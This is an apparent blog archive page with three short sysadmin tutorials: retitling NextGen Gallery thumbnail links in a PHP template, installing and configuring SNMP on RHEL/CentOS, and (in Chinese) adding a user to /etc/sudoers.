<div id="ngg-image-<?php echo $image->pid ?>" class="ngg-gallery-thumbnail-box" <?php echo $image->style ?> >
<div class="ngg-gallery-thumbnail" >
<?php echo $image->alttext ?>
<a href="/<?php echo $image->imageURL ?>" title="<?php echo $image->description ?>" <?php echo $image->thumbcode ?> >
<?php if ( !$image->hidden ) { ?>
<img title="<?php echo $image->alttext ?>" alt="<?php echo $image->alttext ?>" src="/<?php echo $image->thumbnailURL ?>" <?php echo $image->size ?> />
<?php } ?>
</a>
</div>
</div>

----------------------------------------------------------------------

In the nextgen plugin dir, edit the file view/gallery.php.

Find the line of code for the anchor (link) around the thumbnail:

<a href="/<?php echo $image->imageURL ?>" title="<?php echo $image->description ?>" <?php echo $image->thumbcode ?> >

Replace the title attribute with:
<?php echo $image->alttext ?>

Result:
<a href="/<?php echo $image->imageURL ?>" title="<?php echo $image->alttext ?>" <?php echo $image->thumbcode ?> >

Explanation: The effects like the Shutter box use the anchor title attribute to display text under the image. NextGen defaults this to the description field, but the edit above will replace this default with the alttext field.

Hope that helps!

Read more...

Install and configure SNMP on RHEL or CentOS

  • Published in SNMP
  • January 10, 2013

 

This guide describe howto install and do a basic configure of SNMP on a RedHat Enterprise Linux or CentOS. Probably it will work on many other *nix systems.

1. Installation

Run command yum install net-snmp-utils

[root@dull etc]# yum install net-snmp-utils
Loading "fastestmirror" plugin
Loading "dellsysidplugin" plugin
...
...
Dependencies Resolved

=============================================================================
 Package                 Arch       Version          Repository        Size
=============================================================================
Installing:
 net-snmp-utils          i386       1:5.3.1-24.el5_2.2  updates           182 k
Installing for dependencies:
 net-snmp                i386       1:5.3.1-24.el5_2.2  updates           698 k

Transaction Summary
=============================================================================
Install      2 Package(s)
Update       0 Package(s)
Remove       0 Package(s)

Total download size: 879 k
Is this ok [y/N]: y

Answer y

Downloading Packages:

(1/2): net-snmp-utils-5.3 100% |=========================| 182 kB    00:02
(2/2): net-snmp-5.3.1-24. 100% |=========================| 698 kB    00:06
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
 Installing: net-snmp                     ######################### [1/2]
  Installing: net-snmp-utils               ######################### [2/2]
Installed: net-snmp-utils.i386 1:5.3.1-24.el5_2.2
Dependency Installed: net-snmp.i386 1:5.3.1-24.el5_2.2
Complete!

Now it is installed

 

 

2. Configure

I’m careful so I do a backup of the snmpd config file.

[root@dull ~]# mv /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.org 

Create a new config file.

[root@dull ~]# vi /etc/snmp/snmpd.conf
rocommunity  public
syslocation  "PDC, Peters DataCenter"
syscontact  This email address is being protected from spambots. You need JavaScript enabled to view it.%MINIFYHTML2afe6ab9d6a64a29d486f3b69ec4a33316%

Start the snmpd service

[root@dull ~]# /etc/init.d/snmpd start

Do a snmpwalk to make sure it is working

[root@dull ~]# snmpwalk -v 1 -c public -O e 127.0.0.1
SNMPv2-MIB::sysDescr.0 = STRING: Linux dull 2.6.18-92.1.17.el5 #1 SMP Tue Nov 4 13:45:01 EST 2008 i686
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (16748) 0:02:47.48
SNMPv2-MIB::sysContact.0 = STRING: This email address is being protected from spambots. You need JavaScript enabled to view it.%MINIFYHTML2afe6ab9d6a64a29d486f3b69ec4a33317%SNMPv2-MIB::sysName.0 = STRING: dull
SNMPv2-MIB::sysLocation.0 = STRING: "PDC, Peters DataCentral"
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01
...
...

Yes, it is working

And finally, make sure snmpd starts next time you restart your machine.

[root@dull ~]# chkconfig snmpd on

 

3. Monitor example

Below is an example of how it looks using op5 Monitor a Nagios based Enterprise Monitor solution.

Read more...

add a user to the sudoers linux为用户添加sudo权限

  • Published in CentOS 6
  • January 9, 2013

 

用sudo时提示"xxx is not in the sudoers file. This incident will be reported.其中XXX是你的用户名,也就是你的用户名没有权限使用sudo,我们只要修改一下/etc/sudoers文件就行了。下面是修改方 法:

1)进入超级用户模式。也就是输入"su -",系统会让你输入超级用户密码,输入密码后就进入了超级用户模式。(当然,你也可以直接用root用) 
2)添加文件的写权限。也就是输入命令"chmod u+w /etc/sudoers"。 
3)编辑/etc/sudoers文件。也就是输入命令"vim /etc/sudoers",输入"i"进入编辑模式,找到这一 行:"root ALL=(ALL) ALL"在起下面添加"xxx ALL=(ALL) ALL"(这里的xxx是你的用户名),然后保存(就是先按一 下Esc键,然后输入":wq")退出。 
4)撤销文件的写权限。也就是输入命令"chmod u-w /etc/sudoers"。

Read more...
Subscribe to this RSS feed